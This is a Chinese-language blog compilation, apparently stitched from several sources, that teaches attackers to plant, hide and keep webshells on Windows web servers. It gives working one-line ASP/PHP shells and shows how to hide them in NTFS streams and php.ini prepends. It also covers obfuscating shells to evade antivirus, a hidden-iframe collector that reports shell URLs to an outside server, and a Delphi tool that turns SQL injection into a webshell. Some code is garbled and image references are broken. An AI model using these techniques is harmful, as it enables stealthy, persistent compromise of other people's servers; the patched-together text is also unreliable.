要刪除必須使用del命令。
file:///C:\Users\SAKAIY~1\AppData\Local\Temp\msohtmlclip11\clip_image024.png

刪除了之後是沒有提示的,但是文件確實沒有了。
當然用這樣的方法雖然可以創建一個圖形界面無法刪除的webshell,但是如果直接放在網頁根目錄下,被有經驗的網管看到還是回刪除的。
②clsid隱藏
windows每一個程序都有一個clsid,如果將一個文件夾命名爲x.{程序clsid},然後輸入一下兩條命令:
file:///C:\Users\SAKAIY~1\AppData\Local\Temp\msohtmlclip11\clip_image026.jpg

創建後
file:///C:\Users\SAKAIY~1\AppData\Local\Temp\msohtmlclip11\clip_image027.png

點開進入的是控制面板,但是其實該文件還是文件夾,裏面還存在大馬,而且創建一個這樣一個帶有clsid的文件夾將其命名爲相應的程序可以迷惑網絡管理員的實現,比如進入回收站文件夾中創建這樣一個帶有回收站clsid的文件夾,在裏面裏面再copy一個保留字asp,還可以使用

attrib +h +s +r +d/s /d

修改該文件的屬性,將其隱藏,一般windows都是默認不顯示隱藏文件的,而且回收站文件夾是自動創建的,這樣可以達到隱藏一個不死webshell到服務器中去。

③驅動隱藏技術
原理是在於,在windows文件系統中,打開文件夾的時候系統會發送一個IRP_MJ_DIRECTORY_CONTROL函數,這個函數可以分配一個緩衝區,將該文件夾下的子文件夾遍歷處理得到的信息存放至緩衝區,在遍歷的時候,尋找匹配的文件名,如果文件名匹配,就繞過當前文件夾或者文件,對於繞過的原理,我查詢了下代碼,根據我的理解,它是根據將遍歷的指針在查詢到目標文件的時候,加上該文件的偏移量,不掃描目標文件夾,直接跳過。
對於這種技術的實施,雖然網上很多C的源碼,但是操作起來有一定的困難,因爲頭文件的支持,還有系統的支持(不同系統的文件系統會不同),在網上查找到了Easy File Locker程序,需要將其安裝至web服務器上,對目標文件設置權限。

file:///C:\Users\SAKAIY~1\AppData\Local\Temp\msohtmlclip11\clip_image028.png

權限的設置有可讀accessable,可寫writable,可刪deletable,可見visible。

file:///C:\Users\SAKAIY~1\AppData\Local\Temp\msohtmlclip11\clip_image030.jpg

上圖可以看到我們將其隱藏了,如前文所說,因爲直接繞過了遍歷,那麼訪問絕對路徑卻可以訪問。我的理解是:

c:\WINDOWS\xlkfs.dat
c:\WINDOWS\xlkfs.dll
c:\WINDOWS\xlkfs.ini
c:\WINDOWS\system32\drivers\xlkfs.sys

這4個文件代替了遍歷查詢,要訪問隱藏後的文件,輸入絕對路徑並不是應用絕對路徑查詢,而是通過上面4個文件進行的查詢,相當於給隱藏文件做了一個單獨的驅動。

爲了不被管理員發現,可以將Easy FileLocker的程序刪除,但是不能刪除上述4個文件。刪除程序後,輸入絕對路徑還是可以訪問,就達到了隱藏後門的作用
④註冊表隱藏
註冊表路徑:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\explorer\Advanced\Folder\Hidden\SHOWALL
在這個路徑下有一個CheckedValue的鍵值,把他修改爲0,如果沒有CheckValue這個key直接創建一個,將他賦值爲0,然後創建的隱藏文件就徹底隱藏了,即時在文件夾選項下把“顯示所有文件”也不能顯示了。
(2)一句話木馬的隱藏
①頭文件包含隱藏
在web裏面的一些腳本文件中,有些文件裏面有包含語句,可以利用這種包含方法包含一句話文件,在訪問這個頁面會直接調用這些一句話。
asp包含語句:<!–#includefile=”文件路徑”–>,直接填入路徑,文件路徑是web服務器上的路徑。
可以使用站長住手將一句話的NTFS流小馬寫入圖片裏面,將路徑的‘\’改‘:’寫入之後圖片是顯示不了的,然後找到web服務器上的一個asp文件,在文件的開始部分寫上include語句,
<!–#includefile=”inc:1.jpg”–>。文件包含可以解析NTFS流爲asp,包含之後,我們訪問那個asp文件就包含了一句話,這樣就隱藏了一句話。
php包含語句:

<?php include($include);?>

這裏的$include可以是外部路徑比如:

http://www.aaa.com/1.php?Include=http://www.bbb.com/hehe.php
這個aaa上的1.php內容爲

<?php include($include);?>

,表示包含。bbb是外部服務器的,前提是這個服務器不能支持PHP。否則將會在bbb這個服務器上執行hehe.php(即一句話馬),而aaa不執行。

②配置文件隱藏一句話(PHP)
在拿到PHP的webshell之後,可以利用php.ini隱藏文件,編輯配置文件,其中一個項功能是將某一個文件的內容添加到任意界面的頁眉頁腳:
auto_prepend_file =hehe.php

然後看
include_path = “E:\PHPnow-1.5.6\htdocs;”

這個配置信息表示加載頁眉頁腳的文集位置,path規則是”\path1;\path2″,表示將path1路徑的文件夾下的頁眉頁腳文件添加到path中的文件中去,因爲這裏是一個‘.’表示根路徑,這裏就相當於添加到了主頁上面去了,然後hehe.asp文件裏面寫上一句話,就可以通過php添加頁眉的共能,將一句話寫入網站首頁。
③404小馬
404小馬在訪問的時候顯示出來一個404頁面不存在的頁面,但是實際上木馬代碼已經執行,一般都是按5次shift可以將它調用出來。
四、關於webshell的免殺一句話免殺
1.構造法繞過檢測(PHP)
一般的檢測程序會過濾這樣”_POST”,”system”,”call_user_func_array”這樣的字符,這個時候可以用構造法繞過一些檢測程序,基本原理是,php每一個字符都都對應了一個二進制的值,可以採用異或的方式,讓馬中的一個字符用兩個字符異或後的值來代替。
比如像一下代碼

<?php
@$++; // 這裏++讓’’自加1
$=("#"^"|"); // _
$
=("."^"~"); // P
$=("/"^"`"); // O
$
=("|"^"/"); // S
$__=("{"^"/"); // T
?>

然後構造與一句話可以寫爲

<?php @$++;
$=("#""|").(".""~").("/""`").("|""/").("{"^"/"); // $的值爲POST
@${$
}!$_;?>

// 結果爲
@$_POST0

!$_表示1的相反,在語言裏面1代表真,反過來就是0(假)
但是這樣的繞過方法相當弱,仔細想一下,就算是兩個字符的二進制值異或,但是我們要用某個字符,還是應用那個字符的值,比如

$__=("#""|").(".""~").("/""`").("|""/").("{"^"/")

的二進制值與_POST字符的值一樣的,要是檢測程序會檢測二進制碼的值,還是會被殺掉。

2.正則表達式代替法(PHP)
php中有一個函數preg_replace()函數,這個函數可以實現正則表達式的替換工作。用替換繞過檢測系統還需要php腳本語言裏面的一個函數特性,函數在調用的時候,如果函數裏面的形參賦的值裏面含有命令,就會執行這個命令。

<?php
function funfunc($str){}
echopreg_replace("/<title>(.+?)</title>/ies",'funfunc("\1")', $_POST["cmd"]);
?>

上述代碼就是替代的一個過程,首先創建一個空函數,然後使用preg_replace函數替換表單cmd中的<title></title>(這裏是html裏面表示主題)爲funfunc,將post表單中的值寫成
<title>{${phpinfo()}}</title>

(當然這裏的phpinfo()可以換成其他的命令),通過置換,就會變成
funfunc({${phpinfo()}})

由於${}可以解析{}中的內容,所以這裏的phpinfo就可以順利執行了。
3.即時生成法(PHP)
在使用頭文件包含的時候,所包含頭文件php很容易被掃描器掃描到,這時候可以使用file_put_content創建一個文件,裏面寫如php的一句話馬。在訪問之前先生成馬,但是這個函數比較敏感,很容易被殺。
4.迴避法(asp)
因爲有的asp服務器爲了防止一句話馬,會過濾<%,%>,可以使用:

<scriptlanguage=VBScriptrunat=server>execute request("cmd")</Script>

功能相同,就是換個形式。
迴避特定腳本語言:aspx一句話

<script language="C#" runat="server">WebAdmin2Y.x.y aaaaa = new WebAdmin2Y.x.y("add6bb58e139be10");</script>

這裏使用C#語言寫一句話馬。
5.拆分法(asp)
將<%eval request(“x”)%>拆分爲<%Y=request(“x”)%><%eval(Y)%>,雖然繞過的可能性很小,但是也是一種繞過手法,也許有的服務器,做了很多高大上的掃描方式,但是遺漏小的問題。
還有拆分法加強版:

<%IfRequest("MH")<>"" Then Execute(Request("MH"))%>
<%if request("MH")<>""thensession("MH")=request("MH"):end if:ifsession("MH")<>"" then executesession("MH")%>

以上兩句使用了if一句將其分開,中心思想將敏感字符拆分,因爲一般asp特徵碼爲eval(request或者execute(request,拆分了之後檢測不到特徵碼,就直接繞過了。
6.亂碼變形(ANSI->Unicode加密)

<%eval request("#")%>變形爲“┼攠數畣整爠煥敵瑳∨∣┩愾”

eval(eval(chr(114)+chr(101)+chr(113)+chr(117)+chr(101)+chr(115)+chr(116))("brute"))%>

上面一行代碼是採用了ascii加密的方法,chr(114)代表的是ascii中的編號爲114個那個字符,即r。上述代碼轉換後的代碼爲

<%eval (eval(request("brute"))%>

7.大馬免殺
(1)base4code編碼
大馬的免殺可以通過將大馬的代碼進行壓縮,壓縮之後在進行base4的加密算法,然後在大馬的末尾添加

@eval(gzinflate(base64_decode($code)));

就可以執行腳本了。其中,$code變量是用來存放base4的code碼,執行的時候先gzinflate解壓,在eval執行。其實這種不能真正意義上的免殺,以爲base4code和eval還是回被列入特徵碼行列,在過掃描器的時候同樣會被殺掉。
(2)ROT13編碼(php)
str_rot13是php用來編碼的一個函數。可以利用它來編碼腳本代碼來繞過特徵碼的檢測,比如。
file:///C:\Users\SAKAIY~1\AppData\Local\Temp\msohtmlclip11\clip_image031.png

圖中的strrev函數是用來反轉字符,爲了逃過特徵碼的檢測,還特地將字符用’.’號隔開。
圖中3個str_rot13所加密的字符依次是gzinflate,str_rot13,base64_decode,相當於三重加密,而且也迴避了gzinflate,base64_decode這兩個特徵碼。但是沒有迴避str_rot13。有可能有的殺軟會將str_rot13也作爲特徵碼。
ROT13成爲迴轉13,就是講當前字符在字母表中的位置值減去13對應的字符加密。加密兩次就回到原來的值了。但是由於算法固定,加密的強度也不強。而且破解的方式極爲簡單,只要再加密一邊就可以了。
(3)其他編碼
一般殺軟和掃描器都會用特徵碼來判斷是否有病毒,在對大馬或者小馬,一句話馬做免殺處理的時候,一般都會用php或者asp腳本中加密類的函數來加密繞過掃描器(比如base4,rot13等),但是我覺得可以自己編寫加密算法,然後使用自己編寫的加密算法加密腳本代碼就可以繞過一些特徵碼的。可以使用一些凱撒密碼,移位加密等加密手段的思想,寫一段加密算法,然後將腳本代碼進行加密,然後base4,rot3這樣的特徵碼就會消失,或者可以不那麼麻煩,直接用自制的加密算法加密特徵碼,然後再使用的時候將其解密就行了。
還可以使用DES,RSA這樣的密鑰加密算法也可以,一般的大馬都會有一個密碼的登陸框,可以講登陸腳本的密碼跟解密密鑰聯動起來,輸入正確的密碼後才能夠解析,一方面是爲了逃過掃描器與殺軟的查殺,另一方便,這個大馬即使被別人拿到了,也無法解密,看到其中的源碼。
五、關於webshell的後門
一般網上下載的大馬或多或少的都會有後門,這些後門直接導致了我們拿的網站被別人順帶拿走了,所以在網上下載的大馬必須先檢查有沒有後門。
比如這裏的萬能密碼:

end function
if session("hehe")<>userpassthen
ifrequest.form("pass")<>"" then
if request.form("pass")=userpassor request.form("pass")="1111111" Then
session("hehe")=userpasss
response.redirect url
else

這裏

request.form("pass")=userpass

原本是爲了將pass的值進行驗證,如果輸入的pass值等於userpass的情況,就代表驗證成功,但是後面

orrequest.from(“pass”)=”1111111”

表示如果輸入的pass值爲1111111,也可以登錄大馬。當然,這個地方不可能會這麼簡單,原作者完全可以把userpass賦值成爲兩個,添加一個userpass改變的觸發條件,在他登錄的時候觸發這個條件(比如說如果登錄失敗的時候將觸發userpass值的更新),這樣就可以添加一個後面,而且觸發條件的代碼與驗證代碼分隔的較遠,也不好查找,這個時候就需要我們把大馬的代碼逐行分析。

然後再用框架掛馬:

<iframe src=後門地址 width=0 height=0></iframe>

這個地方將鏈接的地址寬度和高度全設置爲0,就該頁面就隱藏了。裏面的“後門地址”指向自己的腳本收信器,最後將收信腳本放到自己搭建的一個公網服務器上面,收信腳本如下:

<%url=Request.ServerVariables("HTTP_Referer")
  set fs=server.CreateObject("Scripting.FileSystemObject")
  set file=fs.OpenTextFile(server.MapPath("hehe.txt"),8,True)
  file.writeline url
  file.close
  set file=nothing
  set fs=nothing
%>

其中

url=Request.ServerVariables("HTTP_Referer")

表示請求的字符轉內容,即大馬的url地址,然後把url地址保存到當前目錄的hehe.txt。

要提出這種後門首先必須先要破壞大馬第二種密碼驗證,即萬能密碼。刪除相關的功能代碼,然後再查找有沒有asp大馬頁面有沒有例如width=0 height=0這樣的隱藏url,查找出來將其刪除。

接單之隱藏一句話木馬

一般 我們拿到的shell很容易被發現 或者被刪除現在教你們 如何隱藏這是利用NTFS流隱藏你的一句話小馬,這方法,文件寫入後,不容易給發現,隱藏性好! 如下是ASP腳本的例子!NTFS流文件的內容如下 (NTFS流文件 是什麼自己百度科普 還有這個只適用於win系統服務器)
<%
re= request("test")
if re <>"" then
execute re
response.end ‘表示結束,不再處理別的代碼
end if
%>
把內容寫入如下位置(示例位置)H:\Web\動易\Inc:1.jpg

Paste_Image.png

看清楚,是 :1.jpg 不是 \1.jpg文件寫入後,H:\Web\動易\Inc 目錄裏是看不到文件的!
現在要引導這個一句話文件!格式:<!-#include file="目錄:1.jpg"->
我隨便選一個文件(最好不要自己新建文件,別人容易發現有新文件)H:\Web\動易\Announce.asp

Paste_Image.png

添加 <!-#include file="inc:1.jpg"->
修改後保存!
一句話木馬隱藏基本完成!當然 H:\Web\動易\Announce.asp 你可以改個一下修改的時間,這樣別人就不容易發現有問題!
還有說一下,2003的流,是可以寫入文件也可以寫入目錄的!你想把一句話馬寫在目錄裏也成,文件裏也成但建議保存到目錄裏,因爲文件如果修改,流數據將會清空,但目錄不會!用菜刀測試成功!

Paste_Image.png

Paste_Image.png

Hacker By T.H.E本文來源:http://www.t00ts.net/post-35.html

http://www.jb51.net/hack/5833.html

一.通過SQL注入得到WEBSHELL的原理: N.E.V.E.R的方法:利用數據庫備份得到WEBSHELL。創建一個表,在表中建一個字段用來保存木馬數據。然後利用MSSQL導出庫文件的辦法把整個數據導出來,最後再刪除新建的表。 分析: N.E.V.E.R利用了MSSQL的備份數據庫功能。把數

一.通過SQL注入得到WEBSHELL的原理:

N.E.V.E.R的方法:利用數據庫備份得到WEBSHELL。創建一個表,在表中建一個字段用來保存木馬數據。然後利用MSSQL導出庫文件的辦法把整個數據導出來,最後再刪除新建的表。
分析: N.E.V.E.R利用了MSSQL的備份數據庫功能。把數據導出來,設想數據庫中有<%%>之類的ASP標實符,導出文件,文件名以.ASP的形式保存。然後文件又保存在WEB的路徑下。那麼這個導出的ASP文件是不是要去解釋<%%> 之內的語句呢?如果數據庫中有的表中有<%%>標實符,並且這之中有錯誤,那麼我們導出來生成的ASP文件也會有誤。不過,這種機會也不太大。
再來看看CZY的方法吧。 CZY的方法:前面的和N.E.V.E.R的方法基本上差不多。只是後面用到了擴展存儲過程——sp_makewebtask。這個擴展存儲過程的作用就是:可以把MSSQL數據庫中的某個表中的記錄導出來,以文件的方法保存起來。這種方法就不會出現什麼問題原因在於:我們只去讀表中的某個字段中的值。把字段的信息導出來生成文件。這個字段中的值都是我們剛加上的。自己在加入數據的時候,先調試一下,沒有問題在加入進去,導出來就當然沒有問題了。
以上兩位的方法,我都手工測試過。利用SQL注入漏洞,建表,向表中加數據,然後再導出數據,再刪除表。都是利用的SQL語句。這裏我就不多說了,大家可以看本期的文章。

二.利用DELPHI去實現功能的前言

原理都分析過了。我們怎麼利用DELPHI來實現他們的手工操作呢?其實方法是非常簡單的。DELPHI提供了一個NMHTTP控件。我們利用這個控件就可以向某個特定的URL提交參數。然後實現我們的自動注射功能。我馬上要爲大家講解的這個程序,有一個特點。也可以說成是一個缺陷吧。程序不去自動猜解WEB的絕對路徑。程序不去判斷當前連接SQL數據庫的當前賬號的權限。我爲什麼要這麼做?因爲得到這兩者用SQL注入是非常難得到的。所以,我們程序發送命令就不會考慮太多。成不成功你執行完自己去看看生成沒有就OK了。

三.如何利用DELPHI得到WEBSHELL。

程序中用到的值。我們這裏來看看有哪些:URL路徑,遠程WEB絕對路徑(通過其他方法得到,你一定有辦法的) 採用什麼方法去得到WEBSHELL(也就是兩位的方法,你選哪一種)。我們同時要求點擊一個按紐開始執行命令,和點擊一個按紐來終止命今。最後就是新建的表的名稱,以及表的字段名稱,再次就是字段的類型。前面的我們在程序中放上輸入,選擇之類的控件就行了。後面的我們設一個選項按紐點按紐彈出相應設置。再把這些相應的設置用一個RECORD來保存。
首先,我們在DIT控件。名稱分別是:UrlET //URL路徑的輸入框、ShellPathET //遠程木馬的位置、CustomBdoorET//自定義木馬的位置。再放兩個RadioButton用來選擇採用什麼方式獲取WEBSHELL。CAPTION分別取名爲: BackUP DataBase 和 WEB作業。然後再放三個SpeedButtion按紐。名稱分別是:設置,開始,停止, 最後再放一個MEMO控件。來顯示當前添加的信息。到此界面上的工作就做完了。界面如圖:
現在來寫程序了。 我們首先定義一個RECORD。 如下:
Type
SetOption = Record
TableName : String; //用來保存要創建的表名.
FieldName : String; //用來保存要創建的字段名.
FiledType : String; //用來保存創建的字段名類型.
End;
FiledType字段類型的值是以下類型的一種:
Bigint binary bit char datetime decimal float image int money nchar ntext numeric nvarchar real smalldatetime smallint Smallmoney sql_variant text timestamp tinyint uniqueidentifier varbinary varchar
這些都是MSSQL字段類型值.
再定義一個全局變量:
Var
ISStop : Boolean; //用來判斷用戶是否按下了停止按紐.
好了。在表單創建的過程中,我們爲RECORD記錄輸入默認值.
代碼如下:
procedure TMainForm.FormCreate(Sender: TObject);
begin sOption.TableName :=’cyfd’
sOption.FieldName :=’gmemo’
sOption.FiledType :=’text’
end;
現在我們添加開始執行命令的代碼。
先定義BDoorList 爲TstringList。主要目的就是把木馬的內容加進來.
創建兩個變量來保存urlET.和ShellPathET的值.方便程序簡化調用. 在程序開始執行前,我們得先檢查一下用戶的輸入
定義一個Checkinput函數.
如下:
Function CheckInput : Boolean;
Begin Result := False;
if Trim(urlet.Text) = ’’ then
Begin
Application.MessageBox(’請輸入URL地址!’,’提示’,mb_ok mb_iconinformation);
Exit;
End;
if Trim(ShellPathET.Text) = ’’ then
Begin
Application.MessageBox(’請輸入文件保存地址!’,’提示’,mb_ok mb_iconinformation);
Exit;
End;
IF DefBDoor.Checked then
Begin
if Not FileExists(extractfilepath(Application.ExeName) ’默認木馬.txt’) then
Begin
Application.MessageBox(’沒有找到 [默認木馬.txt] 文件!’,’提示’,mb_ok mb_iconinformation);
Exit;
End;
End
Else if Not FileExists(CustomBdoorET.Text) then
Begin
Application.MessageBox(’沒有找到所選的木馬文件!’,’提示’,mb_ok mb_iconinformation);
Exit;
End;
Result := True;
End;



作者:JackyTsuuuy
鏈接:https://www.jianshu.com/p/02aac12e459f
來源:簡書
簡書著作權歸作者所有,任何形式的轉載都請聯繫作者獲得授權並註明出處。



學習:https://zhuanlan.zhihu.com/p/33641454

來自:http://www.bywalks.com/258.html

來自:漏斗社區

來自:http://0535code.com/article/20161101_1154.shtml

來自:https://www.jianshu.com/p/02aac12e459f

來自:挺強的一個博主

發佈了56 篇原創文章 · 獲贊 157 · 訪問量 27萬+
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章